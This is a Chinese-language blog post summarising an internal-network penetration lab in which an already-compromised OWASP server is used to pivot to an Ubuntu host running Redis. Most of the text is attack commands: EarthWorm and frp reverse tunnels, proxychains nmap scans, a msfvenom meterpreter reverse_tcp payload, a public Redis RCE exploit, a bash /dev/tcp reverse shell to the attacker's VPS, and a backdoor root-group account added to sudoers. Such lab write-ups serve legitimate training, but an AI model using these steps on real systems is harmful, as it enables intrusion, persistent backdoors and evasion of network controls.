/pr_nmap如何挂代理">
赞
踩
内网学习小结
实验拓扑结构:
在一层内网服务器ubuntu上搭建redis服务器,接下来的实验通过redis未授权漏洞来获取目标主机的权限。
在OWASP服务器上做NAT转换,使Ubuntu Server可以连接外网:
# 配置ipables做nat
iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o eth0 -j SNAT --to 192.168.101.100
# 打开Linux内核转发功能
echo "1" > /proc/sys/net/ipv4/ip_forward
本次实验的目的:(实验前提:已经获取了owasp服务器的控制权)
通过owasp服务器去发现内网主机以及通过socks5代理,利用redis远程命令执行漏洞获取ubuntu server的shell,并建立稳定连接
在owasp服务器上建立socks5代理,使用earthworm工具:
# 在VPS服务器上运行earthworm客户端:监听本地端口9999,连接10000远程端口
./ew_for_linux64 -s rcsocks -l 9999 -e 10000
# 在owasp服务器上运行服务端程序:连接客户端
./ew_for_Linux32 -s rssocks -d 192.168.101.128 -e 10000
# VPS上配置/etc/proxychain4.conf
socks5 192.168.101.128 9999
发现内网主机以及服务扫描,通过socks5代理,利用nmap工具进行扫描
# 使用nmap的TCP扫描,去发现目标主机开启的服务(由于socks5代理仅支持TCP和UDP,因此需要关闭掉ICMP扫描)
proxychains nmap -sT -Pn 192.168.100.101 -p 80,6379
通过MSF模块去扫描内网服务:添加路由的方式
# 首先需要与owasp服务器建立msf的shell连接
# 通过上传Linux马,在本地msf中进行监听
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.101.128 LPORT=10001 -f elf -o shell
# 将shell文件传到owasp服务器中,并在本地msf中进行监听
[1]use exploit/multi/handler
[2]set payload linux/x86/meterpreter/reverse_tcp
# 在owasp服务器上运行shell文件
# VPS服务器上反弹回来一个shell
# 添加owasp进路由
meterpreter > run post/multi/manage/autoroute
meterpreter > run autoroute -p
# 使用msf的auxiliary/scanner/portscan/tcp模块进行扫描
接下来确定服务版本(redis服务版本):
# 使用auxiliary/scanner/redis/redis_server模块进行扫描
# 这里直接拿网上的poc去打(运行的时候记得加上proxychains,进行socks5代理) proxychains python redis-rce.py -r 192.168.100.101 -L 192.168.101.128 -f exp.so # 接下来进行反向连接 # 有时候获取到的shell是不完整的,例如无法通过vi/vim命令写入文件 # 监听(高级版的nc) socat file:`tty`,raw,echo=0 tcp-listen:10003 # shell连接 /bin/bash -i > /dev/tcp/192.168.101.128/10003 0<&1 2>&1 # 接下来就可以进行写入文件操作 # 留后门,添加sudo权限(/etc/sudoers) # -u:指定user ID # -g:指定用户组,0表示root组 # -s:指定shell useradd -u uid -g 0 -s /bin/bash swtre33 passd swtre33 # 并在/etc/sudoers中添加sudo权限
内网主机出网探测:icmp、http、ssh、dns等,使用命令ping、ssh、nslookup、curl等来探测流量是否可以出去
判断文件是否可以从外网获取
探测防火墙出网流量规则
是否需要建立隧道
与内网主机建立socks5代理:(如果内网主机可以和外网通信)
# 以内网主机作为跳板进行更加深入的渗透(不以边界主机作为代理)
# 这里也可以直接使用earthworm
# VPS上运行
./ew_for_linux64 -s rcsocks -l 1090 -e 7777
# 在ubuntu服务器上运行
./ew_for_linux64 -s rssocks -d 192.168.101.128 -e 7777
socks5获取的连接有时不太稳定,这种情况下可以通过ssh远程端口转发实现稳定的ssh连接服务
# 将ubuntu服务器的22号端口转发到VPS服务器上的某个端口
# 在ubuntu服务器上运行(将本地服务器的22端口转发到VPS的8888号端口)
ssh -R 8888:192.168.100.101:22 -fN root@192.168.101.128
# 接下来在VPS上连接本地的8888端口即可连接到目标服务器的22号端口
ssh swtre33@127.0.0.1 -p 8888
通过frp建立隧道:比较稳定,但会遗留配置文件(配置文件中包含服务主机,易被溯源)
# 将VPS作为服务器,Ubuntu服务器作为客户端 # frpc.ini(配置远程服务器VPS,将本地端口22号转发到远程6000端口) [common] server_addr = 192.168.101.128 server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 # 在VPS上开启frp访问 ./frps -c frps.ini # 在ubuntu上进行连接 ./frpc -c frpc.ini
这样,就将ubuntu服务器的22号端口绑定了VPS的6000端口,通过在VPS上连接自己的6000端口,即可连接到ubuntu服务器上22号ssh服务.
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。